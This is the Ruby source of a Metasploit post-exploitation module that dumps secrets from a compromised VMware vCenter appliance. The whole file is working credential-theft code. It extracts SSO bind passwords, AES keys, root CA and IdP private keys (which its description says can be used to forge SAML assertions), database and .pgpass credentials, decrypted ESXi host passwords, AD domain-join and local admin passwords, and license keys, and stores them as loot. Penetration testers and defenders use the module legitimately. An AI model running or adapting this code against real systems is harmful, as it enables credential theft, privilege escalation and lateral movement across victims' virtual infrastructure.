Path: blob/master/modules/post/linux/gather/vcenter_secrets_dump.rb
32233 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'67class MetasploitModule < Msf::Post8include Msf::Post::Common9include Msf::Post::File10include Msf::Auxiliary::Report11include Msf::Post::Linux::Priv12include Msf::Post::Vcenter::Vcenter13include Msf::Post::Vcenter::Database1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'VMware vCenter Secrets Dump',20'Description' => %q{21Grab secrets and keys from the vCenter server and add them to22loot. This module is tested against the vCenter appliance only;23it will not work on Windows vCenter instances. It is intended to24be run after successfully acquiring root access on a vCenter25appliance and is useful for penetrating further into the26environment following a vCenter exploit that results in a root27shell.2829Secrets include the dcAccountDN and dcAccountPassword for30the vCenter machine which can be used for maniuplating the SSO31domain via standard LDAP interface; good for plugging into the32vmware_vcenter_vmdir_ldap module or for adding new SSO admin33users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with34associated private keys are also plundered and can be used to35sign forged SAML assertions for the /ui admin interface.36},37'Author' => [38'npm[at]cesium137.io', # original vcenter secrets dump39'Erik Wynter', # @wyntererik, postgres additions40'h00die' # tying it all together41],42'Platform' => [ 'linux', 'unix' ],43'DisclosureDate' => '2022-04-15',44'SessionTypes' => [ 'meterpreter', 'shell' ],45'License' => MSF_LICENSE,46'Actions' => [47[48'Dump',49{50'Description' => 'Dump vCenter Secrets'51}52]53],54'DefaultAction' => 'Dump',55'References' => [56[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],57[ 'CVE', '2022-22948' ],58[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],59[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ],60[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]61],62'Notes' => {63'Stability' => [ CRASH_SAFE ],64'Reliability' => [ ],65'SideEffects' => [ IOC_IN_LOGS ]66}67)68)69register_advanced_options([70OptBool.new('DUMP_VMDIR', [ true, 'Extract SSO domain information', true ]),71OptBool.new('DUMP_VMAFD', [ true, 'Extract vSphere certificates, private keys, and secrets', true ]),72OptBool.new('DUMP_SPEC', [ true, 'If DUMP_VMAFD is enabled, attempt to extract VM Guest Customization secrets from PSQL', true ]),73OptBool.new('DUMP_LIC', [ true, 'If DUMP_VMDIR is enabled, attempt to extract vSphere license keys', false ])74])75end7677# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.78def ldapsearch_bin79'/opt/likewise/bin/ldapsearch'80end8182def psql_bin83'/opt/vmware/vpostgres/current/bin/psql'84end8586def vcenter_management87vc_type_embedded || vc_type_management88end8990def vcenter_infrastructure91vc_type_embedded || vc_type_infrastructure92end9394def check_cve_2022_2294895# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L596cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'97end9899def run100get_vcsa_version101102if check_cve_2022_22948103print_good('Vulnerable to CVE-2022-22948')104report_vuln(105host: rhost,106port: rport,107name: name,108refs: ['CVE-2022-22948'],109info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"110)111end112113print_status('Validating target')114validate_target115116print_status('Gathering vSphere SSO domain information')117vmdir_init118119print_status('Extracting PostgreSQL database credentials')120get_db_creds121122print_status('Extract ESXi host vpxuser credentials')123enum_vpx_user_creds124125if datastore['DUMP_VMDIR'] && vcenter_infrastructure126print_status('Extracting vSphere SSO domain secrets')127vmdir_dump128end129130if datastore['DUMP_VMAFD']131print_status('Extracting certificates from vSphere platform')132vmafd_dump133if datastore['DUMP_SPEC'] && vcenter_management134print_status('Searching for secrets in VM Guest Customization Specification XML')135enum_vm_cust_spec136end137end138139if is_root?140print_status('Retrieving .pgpass file')141retrieved_pg_creds = false142pgpass_contents = process_pgpass_file143144pgpass_contents.each do |p|145extra_service_data = {146address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],147port: p['port'],148service_name: 'psql',149protocol: 'tcp',150workspace_id: myworkspace_id,151module_fullname: fullname,152origin_type: :service153}154print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")155store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)156next if p['database'] != 'postgres'157158next unless retrieved_pg_creds == false159160creds = query_pg_shadow_values(p['password'], p['username'], p['database'])161retrieved_pg_creds = true unless creds.nil?162creds.each do |cred|163print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")164credential_data = {165username: cred['user'],166private_data: cred['password_hash'],167private_type: :nonreplayable_hash,168jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])169}.merge(extra_service_data)170171login_data = {172core: create_credential(credential_data),173status: Metasploit::Model::Login::Status::UNTRIED174}.merge(extra_service_data)175176create_credential_login(login_data)177end178end179path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')180print_good("Saving the /root/.pgpass contents to #{path}")181end182end183184def vmdir_init185self.keystore = {}186187vsphere_machine_id = get_machine_id188if is_uuid?(vsphere_machine_id)189vprint_status("vSphere Machine ID: #{vsphere_machine_id}")190else191print_bad('Invalid vSphere PSC Machine UUID returned from vmafd-cli')192end193194vsphere_domain_name = get_domain_name195unless is_fqdn?(vsphere_domain_name)196fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vSphere SSO domain name via lwregshell')197end198199self.base_fqdn = vsphere_domain_name.to_s.downcase200vprint_status("vSphere SSO Domain FQDN: #{base_fqdn}")201202vsphere_domain_dn = 'dc=' + base_fqdn.split('.').join(',dc=')203self.base_dn = vsphere_domain_dn204vprint_status("vSphere SSO Domain DN: #{base_dn}")205206vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')207vsphere_domain_dc_dn = get_domain_dc_dn208unless is_dn?(vsphere_domain_dc_dn)209fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')210end211212self.bind_dn = vsphere_domain_dc_dn213print_good("vSphere SSO DC DN: #{bind_dn}")214self.bind_pw = get_domain_dc_password215unless bind_pw216fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountPassword from lwregshell')217end218219print_good("vSphere SSO DC PW: #{bind_pw}")220# clean up double quotes221# originally we wrapped in singles, but escaping of single quotes was not working, so prefer doubles222self.bind_pw = bind_pw.gsub('"') { '\\"' }223self.shell_bind_pw = "\"#{bind_pw}\""224225extra_service_data = {226address: Rex::Socket.getaddress(rhost),227port: 389,228service_name: 'ldap',229protocol: 'tcp',230workspace_id: myworkspace_id,231module_fullname: fullname,232origin_type: :service,233realm_key: Metasploit::Model::Realm::Key::WILDCARD,234realm_value: base_fqdn235}236237store_valid_credential(user: bind_dn, private: bind_pw, service_data: extra_service_data)238239get_aes_keys_from_host240end241242def vmdir_dump243print_status('Dumping vmdir schema to LDIF and storing to loot...')244vmdir_ldif = get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)245if vmdir_ldif.nil?246print_error('Error processing LDIF file')247return248end249250p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')251print_good("LDIF Dump: #{p}")252253print_status('Processing vmdir LDIF (this may take several minutes)')254ldif_file = ::File.open(p, 'rb')255ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)256257print_status('Processing LDIF entries')258entries = ldif_data.to_entries259260print_status('Processing SSO account hashes')261vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }262process_hashes(vmware_sso_hash_entries)263264print_status('Processing SSO identity sources')265vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }266process_sso_providers(vmware_sso_id_entries)267268if datastore['DUMP_LIC']269print_status('Extract licenses from vCenter platform')270vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }271get_vc_licenses(vmware_license_entries)272end273end274275def vmafd_dump276if vcenter_infrastructure277get_vmca_cert278get_idp_creds279end280281vecs_stores = get_vecs_stores282return if vecs_stores.nil?283284if vecs_stores.empty?285print_error('Empty vecs-cli store list returned from vCenter')286return287end288289vecs_stores.each do |vecs_store|290vecs_entries = get_vecs_entries(vecs_store)291vecs_entries.each do |vecs_entry|292next unless vecs_entry['Entry type'] == 'Private Key'293294get_vecs_entry(vecs_store, vecs_entry)295end296end297end298299def get_vecs_entry(store_name, vecs_entry)300store_label = store_name.upcase301302vprint_status("Extract #{store_label} key")303key = get_vecs_private_key(store_name, vecs_entry['Alias'])304if key.nil?305print_bad("Could not extract #{store_label} private key")306else307p = store_loot(vecs_entry['Alias'], 'PEM', rhost, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")308print_good("#{store_label} Key: #{p}")309end310311vprint_status("Extract #{store_label} certificate")312cert = validate_x509_cert(vecs_entry['Certificate'])313if cert.nil?314print_bad("Could not extract #{store_label} certificate")315return316end317p = store_loot(vecs_entry['Alias'], 'PEM', rhost, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")318print_good("#{store_label} Cert: #{p}")319320unless key.nil?321update_keystore(cert, key)322end323end324325def get_vmca_cert326vprint_status('Extract VMCA_ROOT key')327328unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')329print_error('Could not locate VMCA_ROOT keypair')330return331end332333vmca_key_b64 = read_file('/var/lib/vmware/vmca/privatekey.pem')334335vmca_key = validate_pkey(vmca_key_b64)336if vmca_key.nil?337print_error('Could not extract VMCA_ROOT private key')338return339end340341p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')342print_good("VMCA_ROOT key: #{p}")343344vprint_status('Extract VMCA_ROOT cert')345vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')346347vmca_cert = validate_x509_cert(vmca_cert_b64)348if vmca_cert.nil?349print_error('Could not extract VMCA_ROOT certificate')350return351end352353unless vmca_cert.check_private_key(vmca_key)354print_error('VMCA_ROOT certificate and private key mismatch')355return356end357358p = store_loot('vmca', 'PEM', rhost, vmca_cert, 'VMCA_ROOT.pem', 'vCenter VMCA root CA certificate')359print_good("VMCA_ROOT cert: #{p}")360361update_keystore(vmca_cert, vmca_key)362end363364# Shamelessly borrowed from vmware_vcenter_vmdir_ldap.rb365def process_hashes(entries)366if entries.empty?367print_warning('No password hashes found')368return369end370371service_details = {372workspace_id: myworkspace_id,373module_fullname: fullname,374origin_type: :service,375address: rhost,376port: '389',377protocol: 'tcp',378service_name: 'vmdir/ldap'379}380381entries.each do |entry|382# This is the "username"383dn = entry.dn384385# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76386type, hash, salt = entry[:userpassword].first.unpack('CH128H32')387388case type389when 1390unless hash.length == 128391vprint_error("Type #{type} hash length is not 128 digits (#{dn})")392next393end394395unless salt.length == 32396vprint_error("Type #{type} salt length is not 32 digits (#{dn})")397next398end399400# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197401john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"402else403vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")404next405end406407print_good("vSphere SSO User Credential: #{dn}:#{john_hash}")408409create_credential(service_details.merge(410username: dn,411private_data: john_hash,412private_type: :nonreplayable_hash,413jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)414))415end416end417418def process_sso_providers(entries)419if entries.empty?420print_warning('No SSO ID provider information found')421return422end423424if entries.is_a?(String)425entries = entries.split("\n")426end427428entries.each do |entry|429sso_prov_type = entry[:vmwSTSProviderType].first430sso_conn_str = entry[:vmwSTSConnectionStrings].first431sso_user = entry[:vmwSTSUserName].first432433# On vCenter 7.x instances the tenant AES key was always Base64 encoded vs. plaintext, and vmwSTSPassword was missing from the LDIF dump.434# It appears that vCenter 7.x does not return vmwSTSPassword even with appropriate LDAP flags - this is not like prior versions.435# The data can still be extracted directly with ldapsearch syntax below which works in all versions, but is a PITA.436vmdir_user_sso_pass = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(&(objectClass=vmwSTSIdentityStore)(vmwSTSConnectionStrings=#{sso_conn_str}))\" \"vmwSTSPassword\" | awk -F 'vmwSTSPassword: ' '{print $2}'").split("\n").last437sso_pass = tenant_aes_decrypt(vmdir_user_sso_pass)438439sso_domain = entry[:vmwSTSDomainName].first440441sso_conn_uri = URI.parse(sso_conn_str)442443extra_service_data = {444address: Rex::Socket.getaddress(rhost),445port: sso_conn_uri.port,446service_name: sso_conn_uri.scheme,447protocol: 'tcp',448workspace_id: myworkspace_id,449module_fullname: fullname,450origin_type: :service,451realm_key: Metasploit::Model::Realm::Key::WILDCARD,452realm_value: sso_domain453}454455store_valid_credential(user: sso_user, private: sso_pass, service_data: extra_service_data)456print_status('Found SSO Identity Source Credential:')457print_good("#{sso_prov_type} @ #{sso_conn_str}:")458print_good("\t SSOUSER: #{sso_user}")459print_good("\t SSOPASS: #{sso_pass}")460print_good("\tSSODOMAIN: #{sso_domain}")461end462end463464def get_aes_keys_from_host465print_status('Extracting tenant and vpx AES encryption key...')466467tenant_key = get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)468fail_with(Msf::Exploit::Failure::Unknown, 'Error extracting tenant and vpx AES encryption key') if tenant_key.nil?469470tenant_key.each do |aes_key|471aes_key_len = aes_key.length472# our first case is to process it out473case aes_key_len474when 16475self.vc_tenant_aes_key = aes_key476self.vc_tenant_aes_key_hex = vc_tenant_aes_key.unpack('H*').first477vprint_status("vCenter returned a plaintext AES key: #{aes_key}")478when 24479self.vc_tenant_aes_key = Base64.strict_decode64(aes_key)480self.vc_tenant_aes_key_hex = Base64.strict_decode64(aes_key).unpack('H*').first481vprint_status("vCenter returned a Base64 AES key: #{aes_key}")482when 64483self.vc_sym_key = aes_key.scan(/../).map(&:hex).pack('C*')484self.vc_sym_key_raw = aes_key485print_good('vSphere vmware-vpx AES encryption')486print_good("\tHEX: #{aes_key}")487else488print_error("Invalid tenant AES encryption key size - expecting 16 raw bytes or 24 Base64 bytes, got #{aes_key_len}")489next490end491492extra_service_data = {493address: Rex::Socket.getaddress(rhost),494protocol: 'tcp',495workspace_id: myworkspace_id,496module_fullname: fullname,497origin_type: :service,498realm_key: Metasploit::Model::Realm::Key::WILDCARD,499realm_value: base_fqdn500}501# our second case is to store it correctly502case aes_key_len503when 16, 24504print_good('vSphere Tenant AES encryption')505print_good("\tKEY: #{vc_tenant_aes_key}")506print_good("\tHEX: #{vc_tenant_aes_key_hex}")507508store_valid_credential(user: 'STS AES key', private: vc_tenant_aes_key, service_data: extra_service_data.merge({509port: 389,510service_name: 'ldap'511}))512when 64513store_valid_credential(user: 'VPX AES key', private: vc_sym_key_raw, service_data: extra_service_data.merge({514port: 5432,515service_name: 'psql'516}))517end518end519end520521def tenant_aes_decrypt(b64)522# https://github.com/vmware/lightwave/blob/master/vmidentity/idm/server/src/main/java/com/vmware/identity/idm/server/CryptoAESE.java#L44-L45523ciphertext = Base64.strict_decode64(b64)524decipher = OpenSSL::Cipher.new('aes-128-ecb')525decipher.decrypt526decipher.padding = 0527decipher.key = vc_tenant_aes_key528return (decipher.update(ciphertext) + decipher.final).delete("\000")529rescue StandardError => e530elog('Error performing tenant_aes_decrypt', error: e)531fail_with(Msf::Exploit::Failure::Unknown, 'Error performing tenant_aes_decrypt')532end533534def update_keystore(public_key, private_key)535if public_key.is_a? String536cert = validate_x509_cert(public_key)537else538cert = public_key539end540if private_key.is_a? String541key = validate_pkey(private_key)542else543key = private_key544end545cert_thumbprint = OpenSSL::Digest::SHA1.new(cert.to_der).to_s546keystore[cert_thumbprint] = key547rescue StandardError => e548elog('Error updating module keystore', error: e)549fail_with(Msf::Exploit::Failure::Unknown, 'Error updating module keystore')550end551552def get_idp_creds553vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')554idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)555if idp_keys.nil?556print_error('Error processing IdP trusted certificate private key')557return558end559560idp_certs = get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)561if idp_certs.nil?562print_error('Error processing IdP trusted certificate chain')563return564end565566vprint_status('Parsing vmwSTSTenantCredential certificates and keys')567568# vCenter vmdir stores the STS IdP signing credential under the following DN:569# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>570571sts_cert = nil572sts_key = nil573sts_pem = nil574idp_keys.each do |stskey|575idp_certs.each do |stscert|576next unless stscert.check_private_key(stskey)577578sts_cert = stscert.to_pem.to_s579sts_key = stskey.to_pem.to_s580if validate_sts_cert(sts_cert)581vprint_status('Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate')582else # Query IDM to compare our extracted cert with the IDM advertised cert583print_warning('Could not reconcile vmdir STS IdP cert chain with cert chain advertised by IDM - this credential may not work')584end585sts_pem = "#{sts_key}#{sts_cert}"586end587end588589unless sts_pem # We were unable to link a public and private key together590print_error('Unable to associate IdP certificate and private key')591return592end593594p = store_loot('idp', 'application/x-pem-file', rhost, sts_key, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')595print_good("SSO_STS_IDP key: #{p}")596597p = store_loot('idp', 'application/x-pem-file', rhost, sts_cert, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')598print_good("SSO_STS_IDP cert: #{p}")599600update_keystore(sts_cert, sts_key)601end602603def get_vc_licenses(entries)604if entries.empty?605print_warning('No vSphere Licenses Found')606return607end608609if entries.is_a?(String)610entries = entries.split("\n")611end612613entries.each do |entry|614vc_lic_name = entry[:vmwLicSvcLicenseName].first615vc_lic_type = entry[:vmwLicSvcLicenseType].first616vc_lic_key = entry[:vmwLicSvcLicenseSerialKeys].first617vc_lic_label = "#{vc_lic_name} #{vc_lic_type}"618619extra_service_data = {620address: Rex::Socket.getaddress(rhost),621port: 443,622service_name: 'https',623protocol: 'tcp',624workspace_id: myworkspace_id,625module_fullname: fullname,626origin_type: :service,627realm_key: Metasploit::Model::Realm::Key::WILDCARD,628realm_value: base_fqdn629}630631store_valid_credential(user: vc_lic_label, private: vc_lic_key, service_data: extra_service_data)632print_good("\t#{vc_lic_label}: #{vc_lic_key}")633end634end635636def enum_vm_cust_spec637vpx_customization_specs = get_vpx_customization_spec(shell_vcdb_pass, vcdb_user, vcdb_name)638639if vpx_customization_specs.nil?640print_warning('No vpx_customization_spec entries evident')641return642end643644vpx_customization_specs.each do |spec|645xmldoc = vpx_customization_specs[spec]646647unless (enc_cert_len = xmldoc.at_xpath('/ConfigRoot/encryptionKey/_length').text.to_i)648print_error("Could not determine DER byte length for vpx_customization_spec '#{spec}'")649next650end651652enc_cert_der = []653der_idx = 0654655print_status('Validating data encipherment key')656while der_idx <= enc_cert_len - 1657enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i658der_idx += 1659end660661enc_cert = validate_x509_cert(enc_cert_der.pack('C*'))662if enc_cert.nil?663print_error("Invalid encryption certificate for vpx_customization_spec '#{spec}'")664next665end666667enc_cert_thumbprint = OpenSSL::Digest::SHA1.new(enc_cert.to_der).to_s668vprint_status("Secrets for '#{spec}' were encrypted using public certificate with SHA1 digest #{enc_cert_thumbprint}")669670unless (enc_keystore_entry = keystore[enc_cert_thumbprint])671print_warning('Could not associate encryption public key with any of the private keys extracted from vCenter, skipping')672next673end674675vc_cipher_key = validate_pkey(enc_keystore_entry)676if vc_cipher_key.nil?677print_error("Could not access private key for VM Guest Customization Template '#{spec}', cannot decrypt")678next679end680681unless enc_cert.check_private_key(vc_cipher_key)682print_error("vCenter private key does not associate with public key for VM Guest Customization Template '#{spec}', cannot decrypt")683next684end685686key_digest = OpenSSL::Digest::SHA1.new(vc_cipher_key.to_der).to_s687vprint_status("Decrypt using #{vc_cipher_key.n.num_bits}-bit #{vc_cipher_key.oid} SHA1: #{key_digest}")688689# Check for static local machine password690if (sysprep_element_unattend = xmldoc.at_xpath('/ConfigRoot/identity/guiUnattended'))691next unless sysprep_element_unattend.at_xpath('//guiUnattended/password/plainText')692693secret_is_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/plainText').text694695case secret_is_plaintext.downcase696when 'true'697secret_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text698when 'false'699secret_ciphertext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text700ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse701secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")702else703print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")704next705end706print_status("Initial administrator account password found for vpx_customization_spec '#{spec}':")707print_good("\tInitial Admin PW: #{secret_plaintext}")708709extra_service_data = {710address: Rex::Socket.getaddress(rhost),711port: 445,712protocol: 'tcp',713service_name: 'Windows',714workspace_id: myworkspace_id,715module_fullname: fullname,716origin_type: :service,717realm_key: Metasploit::Model::Realm::Key::WILDCARD,718realm_value: '.'719}720721store_valid_credential(user: '(local built-in administrator)', private: secret_plaintext, service_data: extra_service_data)722end723724# Check for account used for domain join725next unless (domain_element_unattend = xmldoc.at_xpath('//identification'))726next unless domain_element_unattend.at_xpath('//identification/domainAdminPassword/plainText')727728secret_is_plaintext = domain_element_unattend.xpath('//identification/domainAdminPassword/plainText').text729domain_user = domain_element_unattend.xpath('//identification/domainAdmin').text730domain_base = domain_element_unattend.xpath('//identification/joinDomain').text731732case secret_is_plaintext.downcase733when 'true'734secret_plaintext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text735when 'false'736secret_ciphertext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text737ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse738secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")739else740print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")741next742end743744print_status("AD domain join account found for vpx_customization_spec '#{spec}':")745746case domain_base.include?('.')747when true748print_good("\tAD User: #{domain_user}@#{domain_base}")749when false750print_good("\tAD User: #{domain_base}\\#{domain_user}")751end752print_good("\tAD Pass: #{secret_plaintext}")753754extra_service_data = {755address: Rex::Socket.getaddress(rhost),756port: 445,757protocol: 'tcp',758service_name: 'Windows',759workspace_id: myworkspace_id,760module_fullname: fullname,761origin_type: :service,762realm_key: Metasploit::Model::Realm::Key::WILDCARD,763realm_value: domain_base764}765766store_valid_credential(user: domain_user, private: secret_plaintext, service_data: extra_service_data)767end768end769770def enum_vpx_user_creds771vpxuser_rows = get_vpx_users(shell_vcdb_pass, vcdb_user, vcdb_name, vc_sym_key)772773if vpxuser_rows.nil?774print_warning('No ESXi hosts attached to this vCenter system')775return776end777778vpxuser_rows.each do |user|779print_good("ESXi Host #{user['fqdn']} [#{user['ip']}]\t LOGIN: #{user['user']} PASS: #{user['password']}")780781extra_service_data = {782address: user['ip'],783port: 22,784protocol: 'tcp',785service_name: 'ssh',786workspace_id: myworkspace_id,787module_fullname: fullname,788origin_type: :service,789realm_key: Metasploit::Model::Realm::Key::WILDCARD,790realm_value: user['fqdn']791}792793# XXX is this always root? store_valid_credential(user: 'root', private: user['password'], service_data: extra_service_data)794store_valid_credential(user: user['user'], private: user['password'], service_data: extra_service_data)795end796end797798def get_db_creds799db_properties = process_vcdb_properties_file800801self.vcdb_name = db_properties['name']802self.vcdb_user = db_properties['username']803self.vcdb_pass = db_properties['password']804805self.shell_vcdb_pass = "'#{vcdb_pass.gsub("'") { "\\'" }}'"806807print_good("\tVCDB Name: #{vcdb_name}")808print_good("\tVCDB User: #{vcdb_user}")809print_good("\tVCDB Pass: #{vcdb_pass}")810811extra_service_data = {812address: Rex::Socket.getaddress(rhost),813port: 5432,814service_name: 'psql',815protocol: 'tcp',816workspace_id: myworkspace_id,817module_fullname: fullname,818origin_type: :service,819realm_key: Metasploit::Model::Realm::Key::WILDCARD,820realm_value: vcdb_name821}822823store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)824print_status('Checking for VPX Users')825creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)826if creds.nil?827print_bad('No VPXUSER entries were found')828return829end830creds.each do |cred|831extra_service_data = {832address: cred['ip_address'],833service_name: 'vpx',834protocol: 'tcp',835workspace_id: myworkspace_id,836module_fullname: fullname,837origin_type: :service,838realm_key: Metasploit::Model::Realm::Key::WILDCARD,839realm_value: vcdb_name840}841if cred.key? 'decrypted_password'842print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")843credential_data = {844username: cred['user'],845private_data: cred['decrypted_password'],846private_type: :password847}.merge(extra_service_data)848else849print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")850credential_data = {851username: cred['user'],852private_data: cred['password_hash'],853private_type: :nonreplayable_hash854# this is encrypted, not hashed, so no need for the following line, leaving it as a note855# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])856}.merge(extra_service_data)857end858859login_data = {860core: create_credential(credential_data),861status: Metasploit::Model::Login::Status::UNTRIED862}.merge(extra_service_data)863864create_credential_login(login_data)865end866end867868def validate_sts_cert(test_cert)869cert = validate_x509_cert(test_cert)870return false if cert.nil?871872vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')873874idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")875876if idm_cmd.blank?877print_error('Unable to query IDM tenant information, cannot validate ssoserverSign certificate against IDM')878return false879end880881if (idm_json = JSON.parse(idm_cmd).first)882idm_json['certificates'].each do |idm|883cert_verify = validate_x509_cert(idm['encoded'])884if cert_verify.nil?885print_error('Invalid x509 certificate extracted from IDM!')886return false887end888next unless cert == cert_verify889890return true891end892else893print_error('Unable to parse IDM tenant certificates downloaded from http://localhost:7080/idm/tenant/ on local vCenter')894return false895end896897print_error('No vSphere IDM tenant certificates returned from http://localhost:7080/idm/tenant/')898false899end900901def validate_target902if vcenter_management903vc_db_type = get_database_type904unless vc_db_type == 'embedded'905fail_with(Msf::Exploit::Failure::NoTarget, "This module only supports embedded PostgreSQL, appliance reports DB type '#{vc_db_type}'")906end907908unless command_exists?(psql_bin)909fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{psql_bin}")910end911end912913self.vcenter_fqdn = get_fqdn914if vcenter_fqdn.nil?915print_bad('Could not determine vCenter DNS FQDN')916self.vcenter_fqdn = ''917end918919vsphere_machine_ipv4 = get_ipv4920if vsphere_machine_ipv4.nil? || !Rex::Socket.is_ipv4?(vsphere_machine_ipv4)921print_bad('Could not determine vCenter IPv4 address')922else923print_status("Appliance IPv4: #{vsphere_machine_ipv4}")924end925926self.vc_psc_fqdn = get_platform_service_controller(vc_type_management)927os, build = get_os_version928929print_status("Appliance Hostname: #{vcenter_fqdn}")930print_status("Appliance OS: #{os}-#{build}")931host_info = {932host: session.session_host,933name: vcenter_fqdn,934os_flavor: os,935os_sp: build,936purpose: 'server',937info: 'vCenter Server'938}939if os.downcase.include? 'linux'940host_info[:os_name] = 'linux'941end942report_host(host_info)943end944945def get_vcsa_version946self.vc_type_embedded = false947self.vc_type_infrastructure = false948self.vc_type_management = false949950vcsa_type = get_deployment_type951case vcsa_type952when nil953fail_with(Msf::Exploit::Failure::BadConfig, 'Could not find /etc/vmware/deployment.node.type')954when 'embedded' # Integrated vCenter and PSC955self.vc_deployment_type = 'vCenter Appliance (Embedded)'956self.vc_type_embedded = true957when 'infrastructure' # PSC only958self.vc_deployment_type = 'vCenter Platform Service Controller'959self.vc_type_infrastructure = true960when 'management' # vCenter only961self.vc_deployment_type = 'vCenter Appliance (Management)'962self.vc_type_management = true963else964fail_with(Msf::Exploit::Failure::Unknown, "Unable to determine appliance deployment type returned from server: #{vcsa_type}")965end966967if vcenter_management968self.vcsa_build = get_vcenter_build969end970971print_status(vcsa_build)972print_status(vc_deployment_type)973end974975private976977attr_accessor :base_dn, :base_fqdn, :bind_dn, :bind_pw, :keystore, :shell_bind_pw, :shell_vcdb_pass, :vc_deployment_type, :vc_psc_fqdn, :vc_sym_key, :vc_sym_key_raw, :vc_tenant_aes_key, :vc_tenant_aes_key_hex, :vc_type_embedded, :vc_type_infrastructure, :vc_type_management, :vcdb_name, :vcdb_pass, :vcdb_user, :vcenter_fqdn, :vcsa_build978end979980981